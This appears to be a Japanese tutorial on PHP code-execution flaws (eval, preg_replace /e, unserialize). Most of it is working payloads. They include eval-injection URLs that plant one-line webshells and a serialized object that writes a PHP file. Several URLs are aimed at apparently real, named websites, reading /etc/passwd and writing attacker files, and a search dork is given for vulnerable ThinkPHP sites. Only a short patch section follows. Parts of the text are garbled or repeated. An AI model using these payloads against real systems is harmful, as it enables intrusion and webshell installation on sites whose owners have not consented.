任意のコード実行
17003 ワード
任意のコード実行
0 x 01成因
いくつかの共通言語には、文字列をコードに変換して実行する関連関数があります. php asp python java
0 x 02 phpでコード注入をもたらす主な関数
実行コードの関数 eval() assert()callbackコールバック関数 preg_replace()+/eモードpreg_replace関数プロトタイプ: とするunserialize()eval()実行phpコード demo 1
phpinfo()
または
getshell
または
完全な文の構築:
demo 2
phpinfo()
完全な文の構築:
getshell
demo 3
phpinfo()
完全な文の構築:
getshell
demo 4
phpinfo()
完全な文の構築:
getshell
php逆シーケンス化シーケンス化は、ネットワーク伝送を容易にするために、オブジェクトの前の状態とデータを保存するオブジェクト持続化の技術である.phpでは、配列、変数、オブジェクトなどをシーケンス化できます(静的変数、定数はシーケンス化されません)
出力結果
コードクラスの定義が分かれば、コードを構築してdemoを実行することができます.
サービス側コード
シーケンス化を構築します
生成
生成された値をサービス側にコミットすると脆弱性が発生します
0 x 03危害一言木馬 現在の作業経路の取得 ファイルを読む webshell を書く
0 x 04脆弱性の検出
thinkphpフレームワークには、コード実行脆弱性のある検索方法intext:thinkphp intext:"Fast&Simple OOP PHP Framework"intext:"2.1"
0 x 05パッチ
eval()jsonを使用して配列を保存でき、オブジェクトはjson形式を使用し、phpオブジェクトを文字列に保存しないでください.そうしないと、読み込み時にeval を使用する必要があります.evalを使用する必要がある場合は、ユーザがevalのパラメータに簡単に接触できないことを保証しなければならない(または入力されたデータフォーマットを正則的に判断する) 文字列の場合は、制御可能なコードを単一引用符で包み、挿入前にaddslashes を行う必要があります.
preg_replace()pregの使用を放棄replaceのe修飾子 使用preg_replace_callback()置換 pregを使用しない場合はreplace()+e修飾子、2番目のパラメータで正則的に一致するオブジェクトに対して、 を単一引用符で囲むことを保証してください.
0 x 01成因
いくつかの共通言語には、文字列をコードに変換して実行する関連関数があります.
eval assert
.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
exec
Java php eval
, ,
:OGNL SpEL MVEL
0 x 02 phpでコード注入をもたらす主な関数
実行コードの関数
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
/e補正子preg_replace()replacementパラメータをPHPコード php , ,php ; 。
: 。
逆シーケンス化関数$data=$_GET['data'];
eval("\$ret=$data;");
echo $ret;
phpinfo()
http://192.168.188.66/code_inject/1/?data=phpinfo()
http://192.168.188.66/code_inject/1/?data=1;phpinfo();
または
http://192.168.188.66/code_inject/1/?data=${phpinfo()}
getshell
http://192.168.188.66/code_inject/1/?data=1;@eval($_POST[a]);
または
http://172.16.77.145/code_inject/1.php?data=${eval($_POST[T])}
完全な文の構築:
eval("
$data=1;
@eval($_POST[a]);
")
demo 2
$data=$_GET['data'];
echo "\$ret='$data';";
eval("\$ret=strtolower('$data');");
echo $ret;
phpinfo()
/?data=123');phpinfo();//
完全な文の構築:
$ret=strtolower('123');
$ret=strtolower('');
phpinfo();//123');
getshell
/?data=123');eval($_POST[k]);//
demo 3
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
phpinfo()
/?data={${phpinfo()}}
/?data=");phpinfo();//
完全な文の構築:
eval("
$ret=strtolower("");
phpinfo();
//");
")
eval("
$ret=strtolower("{${phpinfo()}}");
getshell
/?data={${eval($_POST[k])}}
demo 4
$data = $_GET['data'];
echo $data;
preg_replace('/(.*)/e', '$ret = "\\1";', $data);
echo $ret;
phpinfo()
http://192.168.188.66/code_inject/4/?data=<data>{${phpinfo()}}data>
完全な文の構築:
$ret="{${phpinfo()}}"
getshell
?data="{${eval($_POST[k])}}"
php逆シーケンス化シーケンス化は、ネットワーク伝送を容易にするために、オブジェクトの前の状態とデータを保存するオブジェクト持続化の技術である.phpでは、配列、変数、オブジェクトなどをシーケンス化できます(静的変数、定数はシーケンス化されません)
class TestSerialize{
private $name;
private $password;
const ID = 1234;
public static $_class_name = __CLASS__;
public function __set($varname,$value){
$this->$varname = $value;
}
public function __get($varname)
{
return $this->$varname;
}
}
$data = array(
'name'=>'zhangsan',
'password'=>'pwd123'
);
$test = 'abcd';
$ts = new TestSerialize();
$ts->name = 'zhangsan_2';
$ts->password = 'pwd123_2';
echo 'var=>'.serialize($test).'
';
echo 'array=>'.serialize($data).'
';
echo 'object=>'.serialize($ts).'
';
?>
出力結果
var=>s:4:"abcd";
array=>a:2:{s:4:"name";s:8:"zhangsan";s:8:"password";s:6:"pwd123";}
object=>O:13:"TestSerialize":2:{s:19:"TestSerializename";s:10:"zhangsan_2";s:23:"TestSerializepassword";s:8:"pwd123_2";}
コードクラスの定義が分かれば、コードを構築してdemoを実行することができます.
サービス側コード
class foo {
public $file = "test.txt"; public $data = "123456";
function __destruct() { file_put_contents($this->file, $this->data);
} }
$d = $_REQUEST['str'];
var_dump($d);
echo "
";
$tc = unserialize( base64_decode( $d ) ); //$tc = unserialize($_POST["str"]); var_dump($tc);
シーケンス化を構築します
class foo {
public $file = "test.txt"; public $data = "123456";
function __destruct() { file_put_contents($this->file, $this->data);
} }
$f = new foo();
$f->file = "1.php";
$f->data = " phpinfo(); ?>";
echo base64_encode(serialize($f));
生成
TzozOiJmb28iOjI6e3M6NDoiZmlsZSI7czo1OiIxLnBocCI7czo0OiJkYXRhIjtzOjE2OiI8PyBwaHBpbmZvKCk7ID8+Ijt9
生成された値をサービス側にコミットすると脆弱性が発生します
0 x 03危害
http://www.shichidachina.com/News/detail/item/{${@eval($_POST[1999])}}
http://www.shichidachina.com/News/detail/item/{${print(getcwd())}}
http://www.shichidachina.com/News/detail/item/{$ {exit(var_dump(file_get_contents($_POST[f])))}}
f=/etc/passwd
http://www.shichidachina.com/News/detail/item/{$
{exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}} f=h4lp.php&d=22222
0 x 04脆弱性の検出
thinkphpフレームワークには、コード実行脆弱性のある検索方法intext:thinkphp intext:"Fast&Simple OOP PHP Framework"intext:"2.1"
http://www.sinosteelchem.com/product_detail_en/id/$%7B%20phpinfo()%20%7D
http://www.sjzy.org/index/rzkc_view/fid/70/eid/$%7B%20phpinfo()%7D
http://www.shichidachina.com/News/detail/item/$%7B@%20phpinfo()%20%7D
0 x 05パッチ
eval()
$data = addslashes($data);
eval("\$data = deal('$data');");
preg_replace()